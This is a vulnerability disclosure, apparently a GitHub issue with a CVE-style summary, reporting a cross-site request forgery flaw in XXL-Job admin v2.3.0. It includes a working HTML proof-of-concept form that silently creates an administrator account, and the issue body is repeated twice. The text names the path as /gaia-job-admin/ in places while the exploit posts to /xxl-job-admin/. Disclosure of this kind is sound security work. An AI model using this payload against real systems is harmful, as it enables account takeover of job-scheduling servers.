A Cross-Site Request Forgery (CSRF) in XXL-Job v2.3.0 allows attackers to arbitrarily create administrator accounts via the component /gaia-job-admin/user/add.
/gaia-job-admin/user/add is an interface for adding users and giving users permissions. This interface has CSRF vulnerability
POC：
<html>
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="http://7.186.23.6:8080/xxl-job-admin/user/add" method="POST">
	  <input type="hidden" name="username" value="h00279311" />
	  <input type="hidden" name="password" value="123456" />
	  <input type="hidden" name="role" value="1" />
	  <input type="hidden" name="permission" value="" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>
After clicking, the administrator role has been added

![record](https://user-images.githubusercontent.com/12929214/162417405-fefe6ae7-31a7-48b2-9b3a-a5711d099ae3.PNG)


xxl-job-admin v2.3.0 has a CSRF vulnerability, which can be used to create an administrator account、Modify password, perform task scheduling and other operations
This is a GitHub Issue
repo:xxl-job
owner:xuxueli
Title : xxl-job-admin v2.3.0 has a CSRF vulnerability, which can be used to create an administrator account、Modify password, perform task scheduling and other operations
Issue date:

--- start body ---
/gaia-job-admin/user/add is an interface for adding users and giving users permissions. This interface has CSRF vulnerability
POC：
<html>
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="http://7.186.23.6:8080/xxl-job-admin/user/add" method="POST">
	  <input type="hidden" name="username" value="h00279311" />
	  <input type="hidden" name="password" value="123456" />
	  <input type="hidden" name="role" value="1" />
	  <input type="hidden" name="permission" value="" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>
After clicking, the administrator role has been added

![record](https://user-images.githubusercontent.com/12929214/162417405-fefe6ae7-31a7-48b2-9b3a-a5711d099ae3.PNG)


--- end body ---
